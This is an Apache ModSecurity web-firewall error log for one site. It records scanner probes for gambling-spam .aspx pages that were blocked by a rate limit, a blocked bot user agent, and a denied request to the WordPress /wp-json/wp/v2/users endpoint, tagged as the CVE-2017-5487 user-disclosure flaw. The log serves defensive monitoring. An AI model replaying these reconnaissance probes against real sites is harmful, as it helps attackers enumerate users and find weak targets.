[Mon Apr 06 09:19:11.732967 2026] [:error] [pid 38562:tid 38586] [client 147.135.212.201:35124] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adMKD6eD6Ohe6wzRuy5S0QAAAVU"]
[Mon Apr 06 09:19:13.552409 2026] [:error] [pid 35688:tid 35750] [client 147.135.212.201:35126] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adMKEeZ85qg4jLsRpQzstwAAAIA"]
[Mon Apr 06 09:19:15.409848 2026] [:error] [pid 9442:tid 9466] [client 147.135.212.201:35142] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "adMKE0PsNnAJTnmz6sZfFAAAARY"]
[Mon Apr 06 09:19:17.377058 2026] [:error] [pid 38562:tid 38572] [client 147.135.212.201:35154] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "adMKFaeD6Ohe6wzRuy5S1QAAAUc"]
[Mon Apr 06 09:19:19.241516 2026] [:error] [pid 9442:tid 9448] [client 147.135.212.201:35160] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "adMKF0PsNnAJTnmz6sZfIAAAAQQ"]
[Mon Apr 06 09:19:21.035287 2026] [:error] [pid 9442:tid 9455] [client 147.135.212.201:57422] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "adMKGUPsNnAJTnmz6sZfJQAAAQs"]
[Mon Apr 06 09:19:22.872721 2026] [:error] [pid 35786:tid 35814] [client 147.135.212.201:57430] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "adMKGmgkfCKTaLhwaKSIzAAAANU"]
[Mon Apr 06 09:19:24.829932 2026] [:error] [pid 35686:tid 35719] [client 147.135.212.201:57442] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "adMKHMMKdea6oORd2fyy2AAAABc"]
[Mon Apr 06 09:19:26.642495 2026] [:error] [pid 35688:tid 35768] [client 147.135.212.201:57446] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "adMKHuZ85qg4jLsRpQzsvAAAAJI"]
[Mon Apr 06 09:19:28.448327 2026] [:error] [pid 38562:tid 38579] [client 147.135.212.201:57458] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "adMKIKeD6Ohe6wzRuy5S6QAAAU4"]
[Mon Apr 06 09:19:30.394296 2026] [:error] [pid 35786:tid 35812] [client 147.135.212.201:57460] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "adMKImgkfCKTaLhwaKSI2QAAANM"]
[Mon Apr 06 09:19:32.189308 2026] [:error] [pid 35687:tid 35748] [client 147.135.212.201:53640] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "adMKJJ3LtDozV0i8BivRuwAAAFg"]
[Mon Apr 06 09:19:34.003028 2026] [:error] [pid 9442:tid 9451] [client 147.135.212.201:53656] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "adMKJkPsNnAJTnmz6sZfOwAAAQc"]
[Mon Apr 06 09:19:35.958137 2026] [:error] [pid 35686:tid 35699] [client 147.135.212.201:53666] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "adMKJ8MKdea6oORd2fyy8gAAAAM"]
[Mon Apr 06 09:19:37.909768 2026] [:error] [pid 9442:tid 9451] [client 147.135.212.201:53680] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "adMKKUPsNnAJTnmz6sZfWgAAAQc"]
[Mon Apr 06 09:19:39.913187 2026] [:error] [pid 9442:tid 9468] [client 147.135.212.201:53684] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "adMKK0PsNnAJTnmz6sZfYAAAARg"]
[Mon Apr 06 09:19:41.832211 2026] [:error] [pid 9442:tid 9468] [client 147.135.212.201:39230] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "adMKLUPsNnAJTnmz6sZfaQAAARg"]
[Mon Apr 06 09:19:43.779406 2026] [:error] [pid 35786:tid 35812] [client 147.135.212.201:39234] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "adMKL2gkfCKTaLhwaKSI6QAAANM"]
[Mon Apr 06 09:19:45.856429 2026] [:error] [pid 38562:tid 38588] [client 147.135.212.201:39238] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "adMKMaeD6Ohe6wzRuy5TIgAAAVc"]
[Mon Apr 06 09:19:47.764131 2026] [:error] [pid 9442:tid 9457] [client 147.135.212.201:39252] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "adMKM0PsNnAJTnmz6sZfcQAAAQ0"]
[Mon Apr 06 09:19:49.710135 2026] [:error] [pid 35686:tid 35705] [client 147.135.212.201:39268] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "adMKNcMKdea6oORd2fyy_wAAAAk"]
[Mon Apr 06 09:19:51.515030 2026] [:error] [pid 35686:tid 35720] [client 147.135.212.201:50066] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "adMKN8MKdea6oORd2fyzAwAAABg"]
[Mon Apr 06 09:19:53.462351 2026] [:error] [pid 9442:tid 9447] [client 147.135.212.201:50078] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adMKOUPsNnAJTnmz6sZfdAAAAQM"]
[Mon Apr 06 09:20:28.317008 2026] [:error] [pid 35688:tid 35772] [client 147.135.212.201:50080] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adMKXOZ85qg4jLsRpQzs_gAAAJY"]
[Mon Apr 06 09:20:30.280911 2026] [:error] [pid 35686:tid 35705] [client 147.135.212.201:59192] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adMKXsMKdea6oORd2fyzLQAAAAk"]
[Mon Apr 06 09:20:32.150305 2026] [:error] [pid 38562:tid 38573] [client 147.135.212.201:58348] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adMKYKeD6Ohe6wzRuy5TVQAAAUg"]
[Mon Apr 06 09:20:34.170703 2026] [:error] [pid 35688:tid 35753] [client 147.135.212.201:58350] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adMKYuZ85qg4jLsRpQztBQAAAIM"]
[Mon Apr 06 09:20:35.889900 2026] [:error] [pid 9442:tid 9447] [client 147.135.212.201:58360] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adMKY0PsNnAJTnmz6sZf2gAAAQM"]
[Mon Apr 06 09:20:37.907704 2026] [:error] [pid 9442:tid 9462] [client 147.135.212.201:58366] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adMKZUPsNnAJTnmz6sZf3wAAARI"]
[Mon Apr 06 09:20:39.918825 2026] [:error] [pid 35687:tid 35729] [client 147.135.212.201:58376] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adMKZ53LtDozV0i8BivSHwAAAEY"]
[Mon Apr 06 09:20:41.932872 2026] [:error] [pid 35786:tid 35809] [client 147.135.212.201:58408] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adMKaWgkfCKTaLhwaKSJMgAAANA"]
[Mon Apr 06 09:20:43.964463 2026] [:error] [pid 35786:tid 35814] [client 147.135.212.201:58412] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adMKa2gkfCKTaLhwaKSJNwAAANU"]
[Mon Apr 06 09:20:45.863377 2026] [:error] [pid 35686:tid 35696] [client 147.135.212.201:58414] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "adMKbcMKdea6oORd2fyzSQAAAAA"]
[Mon Apr 06 09:20:47.745353 2026] [:error] [pid 38562:tid 38585] [client 147.135.212.201:58424] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "adMKb6eD6Ohe6wzRuy5TYgAAAVQ"]
[Mon Apr 06 09:20:49.777652 2026] [:error] [pid 35686:tid 35703] [client 147.135.212.201:58430] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "adMKccMKdea6oORd2fyzUAAAAAc"]
[Mon Apr 06 09:20:51.789870 2026] [:error] [pid 38562:tid 38572] [client 147.135.212.201:45326] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adMKc6eD6Ohe6wzRuy5TZwAAAUc"]
[Mon Apr 06 09:20:53.679650 2026] [:error] [pid 35786:tid 35798] [client 147.135.212.201:45334] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "adMKdWgkfCKTaLhwaKSJQgAAAMU"]
[Mon Apr 06 09:20:55.701185 2026] [:error] [pid 35687:tid 35729] [client 147.135.212.201:45344] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "adMKd53LtDozV0i8BivSKwAAAEY"]
[Mon Apr 06 09:20:57.719564 2026] [:error] [pid 9442:tid 9459] [client 147.135.212.201:45352] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "adMKeUPsNnAJTnmz6sZf9QAAAQ8"]
[Mon Apr 06 09:20:59.733792 2026] [:error] [pid 35786:tid 35799] [client 147.135.212.201:45354] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "adMKe2gkfCKTaLhwaKSJSQAAAMY"]
[Mon Apr 06 09:21:01.769162 2026] [:error] [pid 35686:tid 35709] [client 147.135.212.201:40812] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adMKfcMKdea6oORd2fyzYwAAAA0"]
[Mon Apr 06 09:21:03.795684 2026] [:error] [pid 35786:tid 35797] [client 147.135.212.201:40818] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "adMKf2gkfCKTaLhwaKSJTwAAAMQ"]
[Mon Apr 06 09:21:05.682183 2026] [:error] [pid 35686:tid 35717] [client 147.135.212.201:40826] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "adMKgcMKdea6oORd2fyzZwAAABU"]
[Mon Apr 06 09:21:07.708007 2026] [:error] [pid 35687:tid 35723] [client 147.135.212.201:40838] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adMKg53LtDozV0i8BivSMAAAAEA"]
[Mon Apr 06 09:21:09.588998 2026] [:error] [pid 9442:tid 9450] [client 147.135.212.201:40854] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adMKhUPsNnAJTnmz6sZgCQAAAQY"]
[Mon Apr 06 09:21:11.606598 2026] [:error] [pid 35687:tid 35737] [client 147.135.212.201:50786] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adMKh53LtDozV0i8BivSNAAAAE4"]
[Mon Apr 06 09:21:13.626203 2026] [:error] [pid 38562:tid 38585] [client 147.135.212.201:50792] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adMKiaeD6Ohe6wzRuy5TeQAAAVQ"]
[Mon Apr 06 09:21:15.502596 2026] [:error] [pid 9442:tid 9451] [client 147.135.212.201:50798] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adMKi0PsNnAJTnmz6sZgJgAAAQc"]
[Mon Apr 06 09:21:17.534314 2026] [:error] [pid 35687:tid 35725] [client 147.135.212.201:50800] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adMKjZ3LtDozV0i8BivSPAAAAEI"]
[Mon Apr 06 09:21:19.553316 2026] [:error] [pid 35688:tid 35770] [client 147.135.212.201:50812] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adMKj-Z85qg4jLsRpQztNQAAAJQ"]
[Mon Apr 06 09:21:21.421312 2026] [:error] [pid 38562:tid 38586] [client 147.135.212.201:33122] [client 147.135.212.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adMKkaeD6Ohe6wzRuy5TfQAAAVU"]
[Mon Apr 06 10:04:28.152717 2026] [:error] [pid 9442:tid 9456] [client 120.71.59.24:47858] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adMUrEPsNnAJTnmz6sZ2dwAAAQw"]
[Mon Apr 06 11:25:41.430426 2026] [:error] [pid 9442:tid 9445] [client 216.24.210.107:43113] [client 216.24.210.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "adMntUPsNnAJTnmz6sahXwAAAQE"]
[Mon Apr 06 11:41:53.960766 2026] [:error] [pid 35686:tid 35699] [client 198.44.133.101:35578] [client 198.44.133.101] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adMrgcMKdea6oORd2fzdEwAAAAM"], referer: https://www.google.com
